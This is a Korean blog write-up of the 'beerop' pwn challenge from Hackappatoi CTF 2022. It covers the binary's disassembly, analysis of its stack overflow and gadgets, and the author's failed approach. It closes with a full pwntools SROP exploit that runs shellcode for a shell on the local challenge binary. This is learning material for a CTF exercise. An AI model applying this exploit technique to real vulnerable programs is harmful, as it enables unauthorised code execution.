Hackappatoi CTF 2022 - [PWN] beerop (unsolved)

2022. 12. 15. 15:30·CTF/Unsolved
728x90
반응형

1. intro

 

 

2. code 및 분석

2.1.  code

이 문제는 코드보다 어셈블러 코드로 보는 것이 더 나은 것 같아 불필요한 부분을 삭제하여 그대로 올린다.

┌──(kali㉿kali)-[~/Downloads]
└─$ objdump -D beerop                         

beerop:     file format elf64-x86-64


......


Disassembly of section .text:

0000000000001000 <.text>:
    1000:       55                      push   %rbp
    1001:       48 89 e5                mov    %rsp,%rbp
    1004:       48 8d 05 f5 0f 00 00    lea    0xff5(%rip),%rax        # 0x2000
    100b:       48 89 45 f8             mov    %rax,-0x8(%rbp)
    100f:       48 c7 c0 09 00 00 00    mov    $0x9,%rax
    1016:       48 c7 c7 00 00 00 00    mov    $0x0,%rdi
    101d:       48 c7 c6 00 10 00 00    mov    $0x1000,%rsi
    1024:       48 c7 c2 07 00 00 00    mov    $0x7,%rdx
    102b:       49 c7 c2 22 00 00 00    mov    $0x22,%r10
    1032:       49 c7 c0 ff ff ff ff    mov    $0xffffffffffffffff,%r8
    1039:       49 c7 c1 00 00 00 00    mov    $0x0,%r9
    1040:       0f 05                   syscall
    1042:       48 89 44 24 f0          mov    %rax,-0x10(%rsp)
    1047:       fc                      cld
    1048:       48 8b 74 24 f8          mov    -0x8(%rsp),%rsi
    104d:       48 8b 7c 24 f0          mov    -0x10(%rsp),%rdi
    1052:       48 c7 c1 25 00 00 00    mov    $0x25,%rcx
    1059:       f3 a4                   rep movsb %ds:(%rsi),%es:(%rdi)
    105b:       48 c7 c0 01 00 00 00    mov    $0x1,%rax
    1062:       48 c7 c7 01 00 00 00    mov    $0x1,%rdi
    1069:       48 8d 74 24 f0          lea    -0x10(%rsp),%rsi
    106e:       48 c7 c2 08 00 00 00    mov    $0x8,%rdx
    1075:       0f 05                   syscall
    1077:       48 89 e0                mov    %rsp,%rax
    107a:       48 2d 48 85 00 00       sub    $0x8548,%rax
    1080:       48 c7 c3 00 12 00 00    mov    $0x1200,%rbx
    1087:       48 31 ff                xor    %rdi,%rdi
    108a:       48 89 38                mov    %rdi,(%rax)
    108d:       48 83 c0 08             add    $0x8,%rax
    1091:       48 ff cb                dec    %rbx
    1094:       75 f4                   jne    0x108a
    1096:       48 c7 c0 00 00 00 00    mov    $0x0,%rax
    109d:       48 c7 c7 00 00 00 00    mov    $0x0,%rdi
    10a4:       48 89 e6                mov    %rsp,%rsi
    10a7:       48 83 ee 18             sub    $0x18,%rsi
    10ab:       48 c7 c2 00 10 00 00    mov    $0x1000,%rdx
    10b2:       0f 05                   syscall
    10b4:       90                      nop
    10b5:       5d                      pop    %rbp
    10b6:       c3                      ret

Disassembly of section .rodata:

0000000000002000 <.rodata>:
    2000:       4c 89 6c 24 a0          mov    %r13,-0x60(%rsp)
    2005:       48 8d 74 24 a0          lea    -0x60(%rsp),%rsi
    200a:       c3                      ret
    200b:       90                      nop
    200c:       5d                      pop    %rbp
    200d:       c3                      ret
    200e:       b8 01 00 00 00          mov    $0x1,%eax
    2013:       bf 01 00 00 00          mov    $0x1,%edi
    2018:       ba 08 00 00 00          mov    $0x8,%edx
    201d:       0f 05                   syscall
    201f:       c3                      ret
    2020:       5f                      pop    %rdi
    2021:       c3                      ret
    2022:       90                      nop
    2023:       5d                      pop    %rbp
    2024:       c3                      ret
        ...
        
        

......

2.2. 분석

프로그램을 요약하자면, 새로운 메모리 영역을 mmap을 통해 할당한 다음, .rodata 영역의 값들을 새로 할당된 메모리의 위치에 복사해 준다.

이후 0x1000 만큼의 값을 받아들인다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

기본적인 취약점은 overflow다.

쓸 수 있는게 그리 많지가 않아서 그렇지...

.text 영역과 .rodata 영역에 쓰인 어셈블러 코드를 잘 버무려서 sysrop(?)을 할 수 있다.

 

3.2. 공격 준비

개인적으로 새로 확보된 메모리에 shellcode를 삽입하고 여기로 리턴하려고 시도했었다.

다만 rsi가 제대로 컨트롤 되지 못해 포기했는데, 

intend writeup을 보았기에 SROP인 것을 알고 있지만, 제대로 접근하고 있었다는데 조금의 성취감은 있었달까...

 

내 공격 시나리오는

rax, rdi를 0으로 만들어서 read 함수를 호출하고,

rdx가 8으로 고정되어있었기에 rsi를 옮겨가며 값을 삽입한 뒤,

여기로 return하려 하였다.

문제를 푸는 중간에 힌트로 libc 파일이 주어져서 링킹 후 system 함수 call을 해서 로컬에서 성공하였는데,

이유는 알 수 없지만 로되리안이었다.

새로 할당된 메모리 영역과 libc의 offset이 다른 것은 아닌가 해서 브루트포스 해보았는데 아에 값이 나오지 않았다.

힌트가 잘못 주어진게 아닐까 생각했다.

 

인텐은

첫 read시 306 bytes를 삽입하고,

삽입된 크기가 rax가 되는 점을 활용해 syncfs 함수를 호출하고,

syncfs 함수의 return 값이 항상 0임을 사용해 rax에 0을 넣고

read 함수를 호출해 15 bytes를 삽입해 다시 rax를 0xf로 만들어 sigreturn 함수를 호출하고

여기서 srop을 했다.

 

개인적으로 시도한 방법은 아래와 같다.

더보기

프로그램이 종료되기 직전 레지스터의 값들은 아래와 같다.

$rax   : 0x21              
$rbx   : 0x0               
$rcx   : 0x0000558c79d5b0b4  →   nop 
$rdx   : 0x1000            
$rsp   : 0x00007fffb8811650  →  0x000000000000000a ("\n"?)
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x00007fffb8811630  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
$rdi   : 0x0               
$rip   : 0x0000558c79d5b0b6  →   ret 
$r8    : 0xffffffffffffffff
$r9    : 0x0               
$r10   : 0x22              
$r11   : 0x306             
$r12   : 0x0000558c79d5b000  →   push %rbp
$r13   : 0x00007fffb8811650  →  0x000000000000000a ("\n"?)
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

위에서 말한 시나리오와 같이 rax, rdi를 0으로 만들고, rdx의 크기에 따라 값을 나눠서 rsi에 넣으려 했다.

 

혹시나하여 쓸만한 gadget이 있는지 .rodata 부분을 1 bytes씩 쪼개서 어셈블러 코드를 다시 보았다.

   0x00:      mov    %r13,-0x60(%rsp)
   0x01:      mov    %ebp,-0x60(%rsp)
   0x02:      insb   (%dx),%es:(%rdi)
   0x03:      and    $0xa0,%al
   0x04:      movabs 0x5d90c3a024748d48,%al
   0x05:      lea    -0x60(%rsp),%rsi
   0x06:      lea    -0x60(%rsp),%esi
   0x07:      je     0x2d
   0x08:      and    $0xa0,%al
   0x09:      movabs 0x1b8c35d90c3,%al
   0x0a:      ret    
   0x0b:      nop
   0x0c:      pop    %rbp
   0x0d:      ret    
   0x0e:      mov    $0x1,%eax
   0x0f:      add    %eax,(%rax)
   0x10:      add    %al,(%rax)
   0x11:      add    %al,(%rax)
   0x12:      add    %bh,0x1(%rdi)
   0x13:      mov    $0x1,%edi
   0x14:      add    %eax,(%rax)
   0x15:      add    %al,(%rax)
   0x16:      add    %al,(%rax)
   0x17:      add    %bh,0x8(%rdx)
   0x18:      mov    $0x8,%edx
   0x19:      or     %al,(%rax)
   0x1a:      add    %al,(%rax)
   0x1b:      add    %al,(%rax)
   0x1c:      add    %cl,(%rdi)
   0x1d:      syscall 
   0x1e:      add    $0x90c35fc3,%eax
   0x1f:      ret    
   0x20:      pop    %rdi
   0x21:      ret    
   0x22:      nop
   0x23:      pop    %rbp
   0x24:      ret

여기서 0x8 위치에 and $0xa0, %al 이 있었고, rax가 충분히 작다면 0으로 만들 수 있었다.

 

그래서

첫 return 시 0x0e 위치로 리턴하여 rax를 1로 만든 다음 write 함수를 call하여 최소화 하였고, (대신 rdx가 8이됨)

0x1f의 return 시 0x8로 리턴하여 0으로 만들었다.

 

이후 rdi는 pop rdi, ret gadget이 있기에 쉽게 만들 수 있었다.

 

rsi의 경우 rsp - 0x60 위치만 쓸 수 있다.

이 때 rsp - 0x60은 stack의 어느 한 지점이기에 컨트롤이 불가능하므로 이 방법은 불가하다.

 

 

결국 인텐으로 다시 시도해보았다.

 

4. exploit

from pwn import *

p = process('./beerop')
context.binary = ELF('./beerop')
rcv = u64(p.recv(1024))
print(hex(rcv))

pay = b'A'*32
pay += p64(rcv + 0x1d) #syscall
#첫 syscall은 read 함수로 값을 받은 직후이며, 받은 총 bytes가 곧 rax가 됨.
#즉, 첫 전송되는 pay는 rax를 0x132로 만들기 위함임.

pay += p64(rcv + 0x1d) #syscall
#첫 syscall 이후 다시 rax가 0이 되었기에 read 함수가 호출됨.
#이번 syscall은 다시 한번 read 함수를 실행하며, rax를 0xf로 만들기 위함임.

pay += p64(rcv + 0x1d) #syscall
#이번 syscall은 sigreturn으로 인해 rax가 0으로 초기화되었기에 shellcode 삽입을 위함임.

s = SigreturnFrame()
s.rax = 0
s.rdi = 0
s.rsi = rcv + 0x1f #값을 쓸 위치.
s.rdx = 0x1000
s.rsp = rcv + 0x800
s.rip = rcv + 0x1d #sigreturn이 끝나고 돌아갈 위치.

pay += bytes(s)
pay += b'A' * (306 - 1 - len(pay)) #0x132를 맞추기 위한 패딩
p.sendline(pay)

pause() #sendline이 연속적으로 이루어짐에 따라 값이 안들어갈때가 있어 추가.

pay2 = b'B'*14
p.sendline(pay2)

pause() #sendline이 연속적으로 이루어짐에 따라 값이 안들어갈때가 있어 추가.

pay3 = asm(shellcraft.sh())
p.sendline(pay3)

p.interactive()

 

┌──(kali㉿kali)-[~/Downloads/bee]
└─$ python a.py
[+] Starting local process './beerop': pid 117096
[!] Did not find any GOT entries
[*] '/home/kali/Downloads/bee/beerop'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x7f131132b000
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer),144(vboxsf)

 

SROP은 조금 더 공부해야겠다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Unsolved' 카테고리의 다른 글

DEFCON 31 - Live CTF - what-a-maze-meant  (0) 2023.05.29
'CTF/Unsolved' 카테고리의 다른 글
  • DEFCON 31 - Live CTF - what-a-maze-meant
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (494) N
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (23) N
        • Theory (15)
        • Exercise (1) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    Buffer Overflow
    RTL
    ROOT ME
    FSB
    exploit education
    hackerschool
    rop
    _IO_FILE
    libc
    root-me
    32bit
    tcache
    64bit
    dreamhack
    vtable
    lob
    x86
    heap
    Format String Bug
    cryptohack
    BOF
    pwntools
    pwnable.kr
    CANARY
    root
    la ctf
    phoenix
    Me
    docker
    x64
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
Hackappatoi CTF 2022 - [PWN] beerop (unsolved)
상단으로

티스토리툴바